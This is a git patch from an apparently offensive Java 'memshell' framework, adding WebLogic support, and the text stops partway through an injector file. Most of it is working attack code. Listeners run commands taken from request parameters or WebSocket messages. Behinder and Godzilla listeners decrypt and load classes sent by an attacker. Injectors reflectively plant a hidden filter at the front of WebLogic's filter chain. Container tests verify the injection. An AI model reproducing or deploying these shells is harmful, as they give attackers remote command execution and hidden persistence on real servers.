From b32c9e701ef3b5a1985eb8c9e8a351fb851fb27c Mon Sep 17 00:00:00 2001 From: ReaJason Date: Tue, 24 Dec 2024 02:09:39 +0800 Subject: [PATCH] feat: support weblogic filter listener (#5) --- .../javaweb/memshell/WebLogicShell.java | 44 +++ .../javaweb/memshell/config/Server.java | 2 +- .../weblogic/WebLogic1036ContainerTest.java | 68 +++++ .../weblogic/WebLogic12214ContainerTest.java | 71 +++++ .../weblogic/WebLogic14110ContainerTest.java | 71 +++++ .../weblogic/behinder/BehinderListener.java | 121 ++++++++ .../weblogic/command/CommandListener.java | 74 +++++ .../weblogic/command/CommandWebSocket.java | 49 ++++ .../weblogic/godzilla/GodzillaListener.java | 148 ++++++++++ .../injector/WebLogicFilterInjector.java | 266 ++++++++++++++++++ .../injector/WebLogicListenerInjector.java | 244 ++++++++++++++++ .../main/java/Base64ClassLoaderServlet.java | 51 ++++ .../src/main/webapp/WEB-INF/web.xml | 10 + 13 files changed, 1218 insertions(+), 1 deletion(-) create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/WebLogicShell.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/behinder/BehinderListener.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/command/CommandListener.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/command/CommandWebSocket.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/godzilla/GodzillaListener.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/injector/WebLogicFilterInjector.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/injector/WebLogicListenerInjector.java create mode 100644 vul/vul-webapp/src/main/java/Base64ClassLoaderServlet.java diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/WebLogicShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/WebLogicShell.java new file mode 100644 index 00000000..fdd37639 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/WebLogicShell.java @@ -0,0 +1,44 @@ +package com.reajason.javaweb.memshell; + +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; +import com.reajason.javaweb.memshell.weblogic.behinder.BehinderListener; +import com.reajason.javaweb.memshell.weblogic.command.CommandListener; +import com.reajason.javaweb.memshell.weblogic.godzilla.GodzillaListener; +import com.reajason.javaweb.memshell.weblogic.injector.WebLogicFilterInjector; +import com.reajason.javaweb.memshell.weblogic.injector.WebLogicListenerInjector; +import org.apache.commons.lang3.tuple.Pair; + +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/24 + */ +public class WebLogicShell extends AbstractShell { + @Override + protected Map, Class>> getBehinderShellMap() { + return Map.of( + Constants.FILTER, Pair.of(BehinderFilter.class, WebLogicFilterInjector.class), + Constants.LISTENER, Pair.of(BehinderListener.class, WebLogicListenerInjector.class) + ); + } + + @Override + protected Map, Class>> getCommandShellMap() { + return Map.of( + Constants.FILTER, Pair.of(CommandFilter.class, WebLogicFilterInjector.class), + Constants.LISTENER, Pair.of(CommandListener.class, WebLogicListenerInjector.class) + ); + } + + @Override + protected Map, Class>> getGodzillaShellMap() { + return Map.of( + Constants.FILTER, Pair.of(GodzillaFilter.class, WebLogicFilterInjector.class), + Constants.LISTENER, Pair.of(GodzillaListener.class, WebLogicListenerInjector.class) + ); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java index 0b32437f..5e33ff11 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java @@ -48,7 +48,7 @@ public enum Server { /** * WebLogic 中间件 */ - WebLogic(null), + WebLogic(new WebLogicShell()), /** * Resin 中间件, Resin diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java new file mode 100644 index 00000000..4e684f36 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java @@ -0,0 +1,68 @@ +package com.reajason.javaweb.integration.weblogic; + +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; +import com.reajason.javaweb.memshell.packer.Packer; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/24 + */ +@Testcontainers +@Slf4j +public class WebLogic1036ContainerTest { + public static final String imageName = "reajason/weblogic:10.3.6"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/opt/oracle/wls1036/user_projects/domains/base_domain/autodeploy/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(7001); + + static Stream casesProvider() { + return Stream.of( +// arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64), // java.net.SocketTimeoutException + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Base64), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Base64), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Base64), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Base64) + ); + } + +// @AfterAll +// static void tearDown() { +// String logs = container.getLogs(); +// log.info(logs); +// assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); +// } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer); + } + + public static String getUrl(GenericContainer container) { + String host = container.getHost(); + int port = container.getMappedPort(7001); + String url = "http://" + host + ":" + port + "/app"; + log.info("container started, app url is : {}", url); + return url; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java new file mode 100644 index 00000000..0c012d32 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java @@ -0,0 +1,71 @@ +package com.reajason.javaweb.integration.weblogic; + +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; +import com.reajason.javaweb.memshell.packer.Packer; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/24 + */ +@Testcontainers +@Slf4j +public class WebLogic12214ContainerTest { + public static final String imageName = "reajason/weblogic:12.2.1.4"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/u01/oracle/user_projects/domains/domain1/autodeploy/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(7001); + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Base64), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Base64), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Base64), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Base64) + ); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + log.info(logs); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer); + } + + public static String getUrl(GenericContainer container) { + String host = container.getHost(); + int port = container.getMappedPort(7001); + String url = "http://" + host + ":" + port + "/app"; + log.info("container started, app url is : {}", url); + return url; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java new file mode 100644 index 00000000..a907d660 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java @@ -0,0 +1,71 @@ +package com.reajason.javaweb.integration.weblogic; + +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; +import com.reajason.javaweb.memshell.packer.Packer; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/24 + */ +@Testcontainers +@Slf4j +public class WebLogic14110ContainerTest { + public static final String imageName = "reajason/weblogic:14.1.1.0"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/u01/oracle/user_projects/domains/domain1/autodeploy/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(7001); + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Base64), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Base64), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Base64), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Base64) + ); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + log.info(logs); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer); + } + + public static String getUrl(GenericContainer container) { + String host = container.getHost(); + int port = container.getMappedPort(7001); + String url = "http://" + host + ":" + port + "/app"; + log.info("container started, app url is : {}", url); + return url; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/behinder/BehinderListener.java new file mode 100644 index 00000000..34b9f2d5 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/behinder/BehinderListener.java @@ -0,0 +1,121 @@ +package com.reajason.javaweb.memshell.weblogic.behinder; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class BehinderListener extends ClassLoader implements ServletRequestListener { + public String pass = "{{pass}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + + public BehinderListener() { + } + + public BehinderListener(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("deprecation") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override + @SuppressWarnings("all") + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = this.getResponseFromRequest(request); + HttpSession session = ((HttpServletRequest) request).getSession(); + Map obj = new HashMap(3); + obj.put("request", request); + obj.put("response", getInternalResponse(response)); + obj.put("session", session); + session.setAttribute("u", this.pass); + Cipher c = Cipher.getInstance("AES"); + c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); + byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); + Object instance = (new BehinderListener(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(obj); + } + } catch (Exception ignored) { + } + } + + public HttpServletResponse getInternalResponse(HttpServletResponse response) { + while (true) { + try { + response = (HttpServletResponse) getFieldValue(response, "response"); + } catch (Exception e) { + return response; + } + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + try { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); + } catch (Exception e) { + response = (HttpServletResponse) getFieldValue(request, "response"); + } + return response; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/command/CommandListener.java new file mode 100644 index 00000000..1baa26b2 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/command/CommandListener.java @@ -0,0 +1,74 @@ +package com.reajason.javaweb.memshell.weblogic.command; + +import javax.servlet.ServletOutputStream; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.InputStream; +import java.lang.reflect.Field; + +/** + * @author ReaJason + */ +public class CommandListener implements ServletRequestListener { + public String paramName = "{{paramName}}"; + + public CommandListener() { + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @Override + public void requestDestroyed(ServletRequestEvent sre) { + + } + + @Override + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + String cmd = request.getParameter(paramName); + if (cmd != null) { + HttpServletResponse servletResponse = this.getResponseFromRequest(request); + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + ServletOutputStream outputStream = servletResponse.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + try { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); + } catch (Exception e) { + response = (HttpServletResponse) getFieldValue(request, "response"); + } + return response; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/command/CommandWebSocket.java b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/command/CommandWebSocket.java new file mode 100644 index 00000000..2b21158a --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/command/CommandWebSocket.java @@ -0,0 +1,49 @@ +package com.reajason.javaweb.memshell.weblogic.command; + +import javax.websocket.Endpoint; +import javax.websocket.EndpointConfig; +import javax.websocket.MessageHandler; +import javax.websocket.Session; +import java.io.InputStream; + +/** + * wsMemShell + * + * @author ReaJason + * @since 2024/12/9 + */ +public class CommandWebSocket extends Endpoint implements MessageHandler.Whole { + + public String paramName = "{{paramName}}"; + private Session session; + + @Override + public void onMessage(String s) { + try { + Process process; + boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows"); + if (bool) { + process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", s}); + } else { + process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", s}); + } + InputStream inputStream = process.getInputStream(); + StringBuilder stringBuilder = new StringBuilder(); + int i; + while ((i = inputStream.read()) != -1) { + stringBuilder.append((char) i); + } + inputStream.close(); + process.waitFor(); + session.getBasicRemote().sendText(stringBuilder.toString()); + } catch (Exception e) { + e.printStackTrace(); + } + } + + @Override + public void onOpen(final Session session, EndpointConfig config) { + this.session = session; + session.addMessageHandler(this); + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/godzilla/GodzillaListener.java new file mode 100644 index 00000000..4f7a513e --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/godzilla/GodzillaListener.java @@ -0,0 +1,148 @@ +package com.reajason.javaweb.memshell.weblogic.godzilla; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.io.ByteArrayOutputStream; +import java.lang.reflect.Field; + +/** + * @author ReaJason + */ +public class GodzillaListener extends ClassLoader implements ServletRequestListener { + public String key = "{{key}}"; + public String pass = "{{pass}}"; + public String md5 = "{{md5}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + + public GodzillaListener() { + } + + public GodzillaListener(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object encoder = base64.newInstance(); + value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("deprecation") + public Class Q(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var4) { + return null; + } + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override + @SuppressWarnings("all") + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = this.getResponseFromRequest(request); + HttpSession session = request.getSession(); + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (session.getAttribute("payload") == null) { + session.setAttribute( + "payload", + (new GodzillaListener(this.getClass().getClassLoader())).Q(data)); + } else { + request.setAttribute("parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = ((Class) session.getAttribute("payload")).newInstance(); + f.equals(arrOut); + f.equals(request); + response.getWriter().write(md5.substring(0, 16)); + f.toString(); + response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); + response.getWriter().write(md5.substring(16)); + response.flushBuffer(); + } + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + try { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); + } catch (Exception e) { + response = (HttpServletResponse) getFieldValue(request, "response"); + } + return response; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/injector/WebLogicFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/injector/WebLogicFilterInjector.java new file mode 100644 index 00000000..030536b3 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/injector/WebLogicFilterInjector.java @@ -0,0 +1,266 @@ +package com.reajason.javaweb.memshell.weblogic.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Array; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.*; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + */ +public class WebLogicFilterInjector { + + static { + new WebLogicFilterInjector(); + } + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + public WebLogicFilterInjector() { + try { + Object[] contexts = getContext(); + for (Object context : contexts) { + Object filter = getShell(context); + inject(context, filter); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public static Object[] getContextsByMbean() throws Throwable { + Set webappContexts = new HashSet(); + Class serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime"); + Class webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext"); + Method theOneMethod = serverRuntimeClass.getMethod("theOne"); + theOneMethod.setAccessible(true); + Object serverRuntime = theOneMethod.invoke(null); + Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes"); + getApplicationRuntimesMethod.setAccessible(true); + Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime); + int applicationRuntimeSize = Array.getLength(applicationRuntimes); + for (int i = 0; i < applicationRuntimeSize; i++) { + Object applicationRuntime = Array.get(applicationRuntimes, i); + try { + Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes"); + Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime); + int componentRuntimeSize = Array.getLength(componentRuntimes); + for (int j = 0; j < componentRuntimeSize; j++) { + Object context = getFieldValue(Array.get(componentRuntimes, j), "context"); + if (webAppServletContextClass.isInstance(context)) { + webappContexts.add(context); + } + } + } catch (Throwable ignored) { + } + + try { + Set childrenSet = (Set) getFieldValue(applicationRuntime, "children"); + for (Object componentRuntime : childrenSet) { + try { + Object context = getFieldValue(componentRuntime, "context"); + if (webAppServletContextClass.isInstance(context)) { + webappContexts.add(context); + } + } catch (Throwable ignored) { + } + } + } catch (Throwable ignored) { + } + } + return webappContexts.toArray(); + } + + public static Object[] getContextsByThreads() throws Throwable { + Set webappContexts = new HashSet(); + ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); + int threadCount = threadGroup.activeCount(); + Thread[] threads = new Thread[threadCount]; + threadGroup.enumerate(threads); + for (int i = 0; i < threadCount; i++) { + Thread thread = threads[i]; + if (thread != null) { + Object workEntry = getFieldValue(thread, "workEntry"); + if (workEntry != null) { + try { + Object context = null; + Object connectionHandler = getFieldValue(workEntry, "connectionHandler"); + if (connectionHandler != null) { + Object request = getFieldValue(connectionHandler, "request"); + if (request != null) { + context = getFieldValue(request, "context"); + } + } + if (context == null) { + context = getFieldValue(workEntry, "context"); + } + + if (context != null) { + webappContexts.add(context); + } + } catch (Throwable ignored) { + } + } + } + } + return webappContexts.toArray(); + } + + public static Object[] getContext() { + Set webappContexts = new HashSet(); + try { + webappContexts.addAll(Arrays.asList(getContextsByMbean())); + } catch (Throwable ignored) { + } + try { + webappContexts.addAll(Arrays.asList(getContextsByThreads())); + } catch (Throwable ignored) { + } + return webappContexts.toArray(); + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + Object obj; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + obj = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + obj = clazz.newInstance(); + } + return obj; + } + + /** + * https://github.com/BeichenDream/GodzillaMemoryShellProject + */ + @SuppressWarnings("unchecked") + public void inject(Object context, Object filter) throws Exception { + if (isInjected(context)) { + return; + } + Object filterManager = invokeMethod(context, "getFilterManager", null, null); + Object servletClassLoader = invokeMethod(context, "getServletClassLoader", null, null); + Map> cachedClasses = (Map>) getFieldValue(servletClassLoader, "cachedClasses"); + //或者直接反射在这个classloader定义类 就不用写缓存了 不过就要硬编码一个class了 + cachedClasses.put(getClassName(), filter.getClass()); + invokeMethod(filterManager, "registerFilter", new Class[]{String.class, String.class, String[].class, String[].class, Map.class, String[].class}, new Object[]{getClassName(), getClassName(), new String[]{getUrlPattern()}, null, null, new String[]{"REQUEST", "FORWARD", "INCLUDE", "ERROR"}}); + //将filter置为第一位 + List filterPatternList = (List) getFieldValue(filterManager, "filterPatternList"); + Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1); + filterPatternList.add(0, currentMapping); + } + + @SuppressWarnings("all") + public boolean isInjected(Object context) throws Exception { + Map filters = (Map) getFieldValue(getFieldValue(context, "filterManager"), "filters"); + for (Object obj : filters.keySet()) { + if (obj.toString().contains(getClassName())) { + return true; + } + } + return false; + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = 